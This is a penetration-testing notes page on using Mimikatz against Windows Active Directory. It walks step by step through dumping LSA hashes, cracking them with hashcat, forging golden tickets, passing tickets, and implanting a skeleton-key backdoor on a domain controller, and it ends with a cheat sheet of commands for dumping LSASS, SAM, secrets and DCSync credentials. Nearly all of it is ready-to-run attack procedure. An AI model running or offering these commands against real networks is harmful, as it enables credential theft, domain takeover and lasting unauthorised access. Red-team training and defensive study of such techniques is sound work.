# MimiKatz

*Used for dumping user credentials inside of a active directory network*

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

**Summary**

* [Dumping Hashes](https://github.com/buger-shack/scriptkiddie/blob/main/windows-hacking/active-directory/3.-post-compromise-enumeration/broken-reference/README.md)
* [Golden tickets attack](https://github.com/buger-shack/scriptkiddie/blob/main/windows-hacking/active-directory/3.-post-compromise-enumeration/broken-reference/README.md)
* [Silver Ticket](https://github.com/buger-shack/scriptkiddie/blob/main/windows-hacking/active-directory/3.-post-compromise-enumeration/broken-reference/README.md)
* [Pass the ticket](https://github.com/buger-shack/scriptkiddie/blob/main/windows-hacking/active-directory/3.-post-compromise-enumeration/broken-reference/README.md)
* [Kerberos backdoors](https://github.com/buger-shack/scriptkiddie/blob/main/windows-hacking/active-directory/3.-post-compromise-enumeration/broken-reference/README.md)

## Dumping hashes

`cd Downloads && mimikatz.exe` this will cd into the directory that mimikatz is kept as well as run the mimikatz binary

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FnxiTYq13BYwtbR6OS1te%2Fimage.png?alt=media&#x26;token=3a18e4dc-89bd-4301-bb5f-7951c888798a" alt=""><figcaption></figcaption></figure>

`privilege::debug` ensure that the output is "Privilege '20' ok" - This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FBdeRs4TKUmyjFcyUOyHA%2Fimage.png?alt=media&#x26;token=eb81e66d-2943-43ab-8107-6dbe6ae5ebfc" alt=""><figcaption></figcaption></figure>

`lsadump::lsa /patch` Dump those hashes!

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2F4y3LC8CgCq34OW3SDl5h%2Fimage.png?alt=media&#x26;token=9026f086-4ae7-4afe-9a03-49f10c7d6534" alt=""><figcaption></figcaption></figure>

Crack those hashes w/ hashcat

`hashcat -m 1000 <hash> rockyou.txt`

## Golden Tickets Attack

We will first dump the hash and sid of the krbtgt user then create a golden ticket and use that golden ticket to open up a new command prompt allowing us to access any machine on the network.

`cd downloads && mimikatz.exe`

`privilege::debug` ensure this outputs \[privilege "20" ok]

`lsadump::lsa /inject /name:krbtgt` This dumps the hash and security identifier of the Kerberos Ticket Granting Ticket account allowing you to create a golden ticket

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FGgTGdyfiQV2ZsPKuzz0n%2Fimage.png?alt=media&#x26;token=427f6b13-79b4-44fd-ab48-73b196198c82" alt=""><figcaption></figcaption></figure>

### Create golden ticket

`kerberos::golden /user: /domain: /sid: /krbtgt: /id:`

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2F4cA0aqXaJVeu2LBUj2Nn%2Fimage.png?alt=media&#x26;token=286eb3d2-3e34-40c6-ae6f-70c2e004fa0c" alt=""><figcaption></figcaption></figure>

### Access other machines with golden ticket

`misc::cmd` - This will open a new command prompt with elevated privileges to all machines

Access other Machines! - You will now have another command prompt with access to all other machines on the network

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FB3u81gDs16DHCOLn49r6%2Fimage.png?alt=media&#x26;token=c7e628d7-b19c-4aa1-8b49-0f1c6a8e3d83" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FnaluB62hopsCgLIcqqT3%2Fimage.png?alt=media&#x26;token=7d78725c-4044-4f56-8231-7d695f54d7ff" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FXgMgXTHOlec3VrD2JvUW%2Fimage.png?alt=media&#x26;token=1880d47a-ceb4-4a2f-aa6a-69faa5f82122" alt=""><figcaption></figcaption></figure>

## Silver Ticket

If a password of a service account is stolen, it can be used to impersonate a user

## Pass the Ticket

Pass the ticket works by dumping the TGT from the LSASS memory of the machine.

`cd Downloads` - navigate to the directory mimikatz is in

`mimikatz.exe` - run mimikatz

`privilege::debug` - Ensure this outputs \[output '20' OK] if it does not that means you do not have the administrator privileges to properly run mimikatz

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FYElQDnhmilQ07FyiYFXX%2Fimage.png?alt=media&#x26;token=050f02c0-9d34-4d9f-a2f1-3eeb0907be4a" alt=""><figcaption></figcaption></figure>

`sekurlsa::tickets /export` - this will export all of the .kirbi tickets into the directory that you are currently in

At this step you can also use the base 64 encoded tickets from Rubeus that we harvested earlier

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FnL6NoliHcBbzfNNwmXyg%2Fimage.png?alt=media&#x26;token=92e04497-c19a-4270-9e61-5b8c5226f2c8" alt=""><figcaption></figcaption></figure>

Take the admin one

Now that we have the ticket, we can perform a pass the ticket attack `kerberos::ptt <ticket>` - run this command inside of mimikatz with the ticket that you harvested from earlier. It will cache and impersonate the given ticket

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FxBRmRAm6YD2sWDjZHKif%2Fimage.png?alt=media&#x26;token=6eac42d1-0cf5-4d84-8ac8-93ff90a160ce" alt=""><figcaption></figcaption></figure>

`klist` - Here were just verifying that we successfully impersonated the ticket by listing our cached tickets.

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2F5eNYDThHqmolwG9KLiTH%2Fimage.png?alt=media&#x26;token=bc598aed-fa37-443e-b232-bfdc0f48c9b5" alt=""><figcaption></figcaption></figure>

You now have impersonated the ticket giving you the same rights as the TGT you're impersonating. To verify this we can look at the admin share.

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FlV8G6noQN77l8Fxu5Q9v%2Fimage.png?alt=media&#x26;token=24e015f8-f002-4055-85ae-ade83b8a0128" alt=""><figcaption></figcaption></figure>

## Kerberos Backdoors

### Skeleton Key

The skeleton key works by abusing the AS-REQ encrypted timestamps, the timestamp is encrypted with the users NT hash. The domain controller then tries to decrypt this timestamp with the users NT hash, once a skeleton key is implanted the domain controller tries to decrypt the timestamp using both the user NT hash and the skeleton key NT hash allowing you access to the domain forest.

`cd Downloads && mimikatz.exe` - Navigate to the directory mimikatz is in and run mimikatz

`privilege::debug` - This should be a standard for running mimikatz as mimikatz needs local administrator access

**Installing Skeleton Key**

`misc::skeleton`

**Accessing the forest** Example : `net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz` - The share will now be accessible without the need for the Administrators password

`dir \\Desktop-1\c$ /user:Machine1 mimikatz` - access the directory of Desktop-1 without ever knowing what users have access to Desktop-1

## Commands - CheatSheet

```bash
#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list
```
